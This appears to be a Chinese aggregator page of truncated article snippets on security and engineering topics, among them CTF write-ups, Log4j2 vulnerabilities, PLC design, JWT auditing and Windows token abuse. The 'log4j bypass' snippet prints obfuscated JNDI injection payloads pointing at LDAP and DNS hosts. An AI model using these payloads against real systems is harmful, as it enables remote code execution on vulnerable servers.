美团CTF-WriteUp
WebUpStoragexxe 读到源码是个文件上传+phar 反序列化，用下面脚本生成 phar<?php$dbaddr = '127.0.0.1';$dbuser = 'root';$dbpass&n...
PLC 系统的 7 个良好设计实践
JZGKCHINA工控技术分享平台PLC（可编程逻辑控制器）在当今工业中随处可见。正确的 PLC 系统设计可以为机器或过程提供多年的服务，并大大提高所有者的效率和盈...
log4j2 的0day是如何被作者发现的
开篇上一篇文章log4j2的codeql规则我看了codeql官方的规则，然后发现了一个2020年的规则，从而推出很可能是codeql挖到的(现在哪个大佬还一个个代码看idea挖洞...
计算机视觉中的传统特征提取方法总结
来源 | 机器学习AI算法工程知圈 | 进“域控制器群”请加微13636581676,备注域前言：本文对计算机视觉传统方法中的一些特征提取方法进行了...
浅谈灵活的魔鬼鱼FlexRay
前面聊了传统以太网、CAN总线、TDMA和LIN总线，现在牌桌上除了挂名猪脚的车载以太网就剩下FlexRay了。这是个很喜欢的话题，不得不聊。可能有朋友觉得还有MOST...
致远A8产品Log4j2存在命令执行
点击蓝字 · 关注我们01漏洞描述 致远互联A8＋是面向集团化、国际化、产业链和大型组织机构、涉外工作组织及组织群，针对其 组织范围内外协...
代码审计 | JWT Token
0x00 介绍JSON Web Token 缩写成 JWT，被用于和服务器的认证场景中，这一点有点类似于 Cookie 里的 Session id，关于这两者的区别可以看本文尾部的参考链接。...
本机号码一键登录原理与应用
很多APP的目前都支持“本机号码一键登录”功能。本机号码一键登录是基于运营商独有网关认证能力推出的账号认证产品。用户只需一键授权，即可实现以本机号码注册...
整理log4j bypass
推来源：${jndi:ldap://127.0.0.1:1099/obj}${${lower:jnd}${lower:${upper:ı}}:ldap://...}${jndi:dns://aeutbj.example.com/ext}${jndi:${lower:l}${lower:...
Windows Token原理及利用
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测及文章作者不为此承担任何责任。雷神众测...